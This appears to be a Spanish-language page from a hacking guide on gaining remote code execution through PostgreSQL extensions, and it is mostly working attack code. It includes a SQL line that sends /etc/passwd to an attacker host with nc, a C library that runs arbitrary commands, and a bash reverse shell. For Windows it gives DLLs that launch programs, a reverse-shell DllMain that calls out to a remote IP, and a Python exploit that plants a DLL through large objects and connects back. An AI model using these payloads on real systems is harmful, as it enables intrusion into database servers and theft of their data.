RCE with PostgreSQL Extensions

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Extensiones de PostgreSQL

PostgreSQL ha sido desarrollado con la capacidad de extensibilidad como una característica principal, lo que le permite integrar extensiones de manera transparente como si fueran funcionalidades integradas. Estas extensiones, básicamente bibliotecas escritas en C, enriquecen la base de datos con funciones adicionales, operadores o tipos.

A partir de la versión 8.1, se impone un requisito específico en las bibliotecas de extensión: deben compilarse con un encabezado especial. Sin esto, PostgreSQL no las ejecutará, asegurando que solo se utilicen extensiones compatibles y potencialmente seguras.

Además, ten en cuenta que si no sabes cómo subir archivos a la víctima abusando de PostgreSQL, debes leer este post.

RCE en Linux

Para más información, consulta: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

La ejecución de comandos del sistema desde PostgreSQL 8.1 y versiones anteriores es un proceso que ha sido claramente documentado y es directo. Es posible utilizar este: módulo de Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Escribir archivo binario desde base64

Para escribir un archivo binario en postgres es posible que necesites usar base64, esto te será útil para ese propósito:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Sin embargo, al intentarlo en versiones superiores se mostró el siguiente error:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Este error está explicado en la documentación de PostgreSQL:

Para asegurarse de que un archivo de objeto cargado dinámicamente no se cargue en un servidor incompatible, PostgreSQL verifica que el archivo contenga un "bloque mágico" con el contenido apropiado. Esto permite al servidor detectar incompatibilidades obvias, como código compilado para una versión principal diferente de PostgreSQL. Un bloque mágico es requerido a partir de PostgreSQL 8.2. Para incluir un bloque mágico, escriba esto en uno (y solo uno) de los archivos fuente del módulo, después de haber incluido el encabezado fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Desde la versión 8.2 de PostgreSQL, el proceso para que un atacante explote el sistema se ha vuelto más desafiante. El atacante debe utilizar una biblioteca que ya esté presente en el sistema o cargar una biblioteca personalizada. Esta biblioteca personalizada debe compilarse contra la versión principal compatible de PostgreSQL y debe incluir un "bloque mágico" específico. Esta medida aumenta significativamente la dificultad de explotar los sistemas de PostgreSQL, ya que requiere un entendimiento más profundo de la arquitectura del sistema y la compatibilidad de versiones.

Compilar la biblioteca

Obtener la versión de PostgreSQL con:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Para garantizar la compatibilidad, es esencial que las versiones principales estén alineadas. Por lo tanto, compilar una biblioteca con cualquier versión dentro de la serie 9.6.x debería garantizar una integración exitosa.

Para instalar esa versión en tu sistema:

apt install postgresql postgresql-server-dev-9.6

Y compilar la biblioteca:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Luego carga la biblioteca compilada y ejecuta comandos con:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Puedes encontrar esta biblioteca precompilada para varias versiones diferentes de PostgreSQL e incluso puedes automatizar este proceso (si tienes acceso a PostgreSQL) con:

RCE en Windows

La siguiente DLL toma como entrada el nombre del binario y el número de veces que deseas ejecutarlo y lo ejecuta:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Puedes encontrar la DLL compilada en este zip:

Puedes indicarle a esta DLL qué binario ejecutar y cuántas veces ejecutarlo, en este ejemplo ejecutará calc.exe 2 veces:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

En aquí puedes encontrar este shell inverso:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Ten en cuenta que en este caso el código malicioso está dentro de la función DllMain. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, simplemente cargar el DLL ejecutará el shell inverso:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE en las versiones más recientes de PostgreSQL

En las últimas versiones de PostgreSQL, se han impuesto restricciones donde al superusuario se le prohíbe cargar archivos de bibliotecas compartidas, excepto desde directorios específicos, como C:\Program Files\PostgreSQL\11\lib en Windows o /var/lib/postgresql/11/lib en sistemas *nix. Estos directorios están asegurados contra operaciones de escritura por las cuentas NETWORK_SERVICE o postgres.

A pesar de estas restricciones, es posible para un superusuario de base de datos autenticado escribir archivos binarios en el sistema de archivos utilizando "objetos grandes". Esta capacidad se extiende a la escritura dentro del directorio C:\Program Files\PostgreSQL\11\data, que es esencial para operaciones de base de datos como actualizar o crear tablas.

Una vulnerabilidad significativa surge del comando CREATE FUNCTION, que permite la travesía de directorios hacia el directorio de datos. En consecuencia, un atacante autenticado podría explotar esta travesía para escribir un archivo de biblioteca compartida en el directorio de datos y luego cargarlo. Esta explotación permite al atacante ejecutar código arbitrario, logrando la ejecución de código nativo en el sistema.

Flujo del ataque

Primero, necesitas utilizar objetos grandes para cargar el dll. Puedes ver cómo hacerlo aquí:

pageBig Binary Files Upload (PostgreSQL)

Una vez que hayas cargado la extensión (con el nombre de poc.dll para este ejemplo) en el directorio de datos, puedes cargarla con:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Nota que no es necesario agregar la extensión .dll ya que la función create la añadirá.

Para más información lee la publicación original aquí. En esa publicación este fue el código utilizado para generar la extensión de postgres (para aprender cómo compilar una extensión de postgres, lee cualquiera de las versiones anteriores). En la misma página se proporcionó este exploit para automatizar esta técnica:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Última actualización